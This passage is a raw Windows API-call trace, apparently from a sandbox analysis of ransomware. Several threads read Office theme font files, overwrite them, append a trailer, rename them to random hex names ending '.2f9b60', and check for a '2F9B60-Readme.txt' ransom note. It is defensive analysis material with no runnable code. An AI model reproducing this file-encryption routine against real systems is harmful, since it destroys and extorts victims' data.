_Dest="05") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="c2") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="0d") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="b3") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="a3") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="e7") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="22") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="ef") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="8b") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7fb0, _Format="%c%c" | out: _Dest="18") returned 2 [0161.534] sprintf (in: _Dest=0x1b7d7fb2, _Format="%c%c" | out: _Dest="7f") returned 2 [0161.534] RtlInitAnsiString (in: DestinationString=0x3f05f9c8, SourceString="57ce0ed42cd3556e663378f45ff1d605c20db3a3e722ef8b187f" | out: DestinationString="57ce0ed42cd3556e663378f45ff1d605c20db3a3e722ef8b187f") [0161.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f05f998, SourceString="57ce0ed42cd3556e663378f45ff1d605c20db3a3e722ef8b187f", AllocateDestinationString=1 | out: DestinationString="57ce0ed42cd3556e663378f45ff1d605c20db3a3e722ef8b187f") returned 0x0 [0161.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b868dc0 [0161.535] RtlFreeAnsiString (AnsiString="5") [0161.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0161.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48e0) returned 1 [0161.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4910) returned 1 [0161.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0161.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420524a0) returned 1 [0161.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420524d0) returned 1 [0161.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052470) returned 1 [0161.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0161.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8603f0) returned 1 [0161.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0161.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0161.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107f00 [0161.538] wcscat (in: _Dest=0x107f00, _Source="57ce0ed42cd35" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\57ce0ed42cd35") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\57ce0ed42cd35" [0161.538] wcscat (in: _Dest=0x107f00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\57ce0ed42cd35.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\57ce0ed42cd35.2f9b60" [0161.538] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\57ce0ed42cd35.2f9b60", NtPathName=0x3f05f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\57ce0ed42cd35.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1cecfa20 [0163.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfa20) returned 1 [0163.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1af40) returned 1 [0163.384] NtQueryInformationFile (in: FileHandle=0x1808, IoStatusBlock=0x3f05f9d8, FileInformation=0x3f05f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f05f9d8, FileInformation=0x3f05f9e8) returned 0x0 [0163.384] NtSetInformationFile (FileHandle=0x1808, IoStatusBlock=0x3f05f9d8, FileInformation=0x3f05f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107f00) returned 1 [0165.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0165.015] FlushFileBuffers (hFile=0x1808) returned 1 [0166.262] CloseHandle (hObject=0x1808) returned 1 [0183.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bf80 [0183.947] wcscpy (in: _Dest=0x2050bf80, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0183.948] wcscat (in: _Dest=0x2050bf80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0183.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0183.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bf80) returned 1 [0183.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac6e0) returned 1 Thread: id = 1415 os_tid = 0x1870 [0119.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml")) returned 0x20 [0119.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml", dwFileAttributes=0x20) returned 1 [0119.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1804 [0119.596] GetFileSizeEx (in: hFile=0x1804, lpFileSize=0x3f22f980 | out: lpFileSize=0x3f22f980*=3526) returned 1 [0119.596] SetFilePointerEx (in: hFile=0x1804, liDistanceToMove=0xdc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.596] ReadFile (in: hFile=0x1804, lpBuffer=0x3f22f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f22f948, lpOverlapped=0x0 | out: lpBuffer=0x3f22f900*, lpNumberOfBytesRead=0x3f22f948*=0x4, lpOverlapped=0x0) returned 1 [0119.751] SetFilePointerEx (in: hFile=0x1804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0119.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0119.752] NtQuerySystemTime (in: CurrentTime=0x3f22f840 | out: CurrentTime=0x3f22f840*=132462177251662000) returned 0x0 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x5a754204 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0xa6bdbbc [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x28b8728e [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x7f3f8cbc [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x547bdaa4 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x17e3cb49 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x25898d49 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x6ad92178 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x6c160158 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x6cc0bc61 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x40e5078 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x1f82239f [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x33d1e8cd [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x3045125e [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x446df0be [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x7bcfe83f [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x4908ac13 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x5c87f935 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x793911bc [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x11406cdb [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x78e2f7d2 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x7e4006d6 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x6df9e463 [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x7a0030aa [0119.752] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x62521b5d [0119.753] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x1f82239f [0119.753] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x526fdac4 [0119.753] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x849453d [0119.753] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x4571c74 [0119.753] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0xa92ef [0119.753] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x286787d8 [0119.753] RtlRandomEx (in: Seed=0x3f22f830 | out: Seed=0x3f22f830) returned 0x29b03ec2 [0119.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0119.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0119.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0119.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0119.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860720) returned 1 [0119.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0119.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0119.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2043b690 [0119.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2046ff70 [0119.764] ReadFile (in: hFile=0x1804, lpBuffer=0x2043b690, nNumberOfBytesToRead=0xdc6, lpNumberOfBytesRead=0x3f22f830, lpOverlapped=0x0 | out: lpBuffer=0x2043b690*, lpNumberOfBytesRead=0x3f22f830*=0xdc6, lpOverlapped=0x0) returned 1 [0119.765] SetFilePointerEx (in: hFile=0x1804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.765] WriteFile (in: hFile=0x1804, lpBuffer=0x2046ff70*, nNumberOfBytesToWrite=0xdc6, lpNumberOfBytesWritten=0x3f22f834, lpOverlapped=0x0 | out: lpBuffer=0x2046ff70*, lpNumberOfBytesWritten=0x3f22f834*=0xdc6, lpOverlapped=0x0) returned 1 [0122.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260920 [0122.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ad0 [0122.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ad0) returned 1 [0122.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046ff70) returned 1 [0122.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043b690) returned 1 [0122.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0122.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0122.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20263ad0 [0122.209] SetFilePointerEx (in: hFile=0x1804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.209] WriteFile (in: hFile=0x1804, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f22f950, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x3f22f950*=0x10c, lpOverlapped=0x0) returned 1 [0123.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860210 [0123.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860210) returned 1 [0123.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b860210 [0123.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603c0 [0123.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860150 [0123.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860150) returned 1 [0123.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cda0670 [0123.021] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="a3") returned 2 [0123.021] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="f8") returned 2 [0123.021] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="a9") returned 2 [0123.021] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="e6") returned 2 [0123.021] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="b8") returned 2 [0123.021] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="ab") returned 2 [0123.021] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="3f") returned 2 [0123.021] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="fa") returned 2 [0123.021] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="63") returned 2 [0123.021] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="33") returned 2 [0123.021] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="31") returned 2 [0123.021] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="e2") returned 2 [0123.021] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="49") returned 2 [0123.021] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="a0") returned 2 [0123.022] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="7b") returned 2 [0123.022] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="f1") returned 2 [0123.022] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="ae") returned 2 [0123.022] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="9a") returned 2 [0123.022] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="2a") returned 2 [0123.022] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="fb") returned 2 [0123.022] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="c2") returned 2 [0123.022] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="f2") returned 2 [0123.022] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="70") returned 2 [0123.022] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="cb") returned 2 [0123.022] sprintf (in: _Dest=0x1cda06a0, _Format="%c%c" | out: _Dest="8a") returned 2 [0123.022] sprintf (in: _Dest=0x1cda06a2, _Format="%c%c" | out: _Dest="fb") returned 2 [0123.022] RtlInitAnsiString (in: DestinationString=0x3f22f9c8, SourceString="a3f8a9e6b8ab3ffa633331e249a07bf1ae9a2afbc2f270cb8afb" | out: DestinationString="a3f8a9e6b8ab3ffa633331e249a07bf1ae9a2afbc2f270cb8afb") [0123.022] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f22f998, SourceString="a3f8a9e6b8ab3ffa633331e249a07bf1ae9a2afbc2f270cb8afb", AllocateDestinationString=1 | out: DestinationString="a3f8a9e6b8ab3ffa633331e249a07bf1ae9a2afbc2f270cb8afb") returned 0x0 [0123.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20503d10 [0123.022] wcscat (in: _Dest=0x108140, _Source="a3f8a9e6b8ab3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a3f8a9e6b8ab3") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a3f8a9e6b8ab3" [0123.022] wcscat (in: _Dest=0x108140, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a3f8a9e6b8ab3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a3f8a9e6b8ab3.2f9b60" [0123.022] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a3f8a9e6b8ab3.2f9b60", NtPathName=0x3f22f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\a3f8a9e6b8ab3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776930 [0123.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776930) returned 1 [0123.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecec70) returned 1 [0123.340] NtQueryInformationFile (in: FileHandle=0x1804, IoStatusBlock=0x3f22f9d8, FileInformation=0x3f22f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f22f9d8, FileInformation=0x3f22f9e8) returned 0x0 [0123.340] NtSetInformationFile (FileHandle=0x1804, IoStatusBlock=0x3f22f9d8, FileInformation=0x3f22f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108140) returned 1 [0123.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0123.342] FlushFileBuffers (hFile=0x1804) returned 1 [0123.350] CloseHandle (hObject=0x1804) returned 1 [0123.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64bb0 [0123.352] wcscpy (in: _Dest=0x1cd64bb0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0123.352] wcscat (in: _Dest=0x1cd64bb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0123.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0123.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64bb0) returned 1 [0123.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac790) returned 1 Thread: id = 1416 os_tid = 0x1874 [0119.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml")) returned 0x20 [0119.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml", dwFileAttributes=0x20) returned 1 [0119.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1814 [0119.601] GetFileSizeEx (in: hFile=0x1814, lpFileSize=0x3f5afc40 | out: lpFileSize=0x3f5afc40*=3836) returned 1 [0119.601] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0xef8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.601] ReadFile (in: hFile=0x1814, lpBuffer=0x3f5afbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f5afc08, lpOverlapped=0x0 | out: lpBuffer=0x3f5afbc0*, lpNumberOfBytesRead=0x3f5afc08*=0x4, lpOverlapped=0x0) returned 1 [0119.671] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0119.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0119.672] NtQuerySystemTime (in: CurrentTime=0x3f5afb00 | out: CurrentTime=0x3f5afb00*=132462177250882000) returned 0x0 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x1f4d49cc [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x1269cc56 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x58bab336 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x51d19a85 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x54479b1e [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x4e9d0911 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x5b4ac22 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x79efb42b [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x521838f5 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x36fe5753 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x7ebf7e46 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x637700b8 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x62885830 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x325257c0 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x70e19811 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x7087b90 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x170117c2 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x10234e82 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x25240e2b [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x6f001aba [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x4bd9b86d [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x66429c3d [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x51d19a85 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0xb019470 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x3c4d4c9c [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x4eb83af1 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x278a46c4 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x3cf8a0d2 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x770bdac6 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x38a9df12 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0x5c8ad95 [0119.672] RtlRandomEx (in: Seed=0x3f5afaf0 | out: Seed=0x3f5afaf0) returned 0xbfa3f8d [0119.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0119.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0119.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0119.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 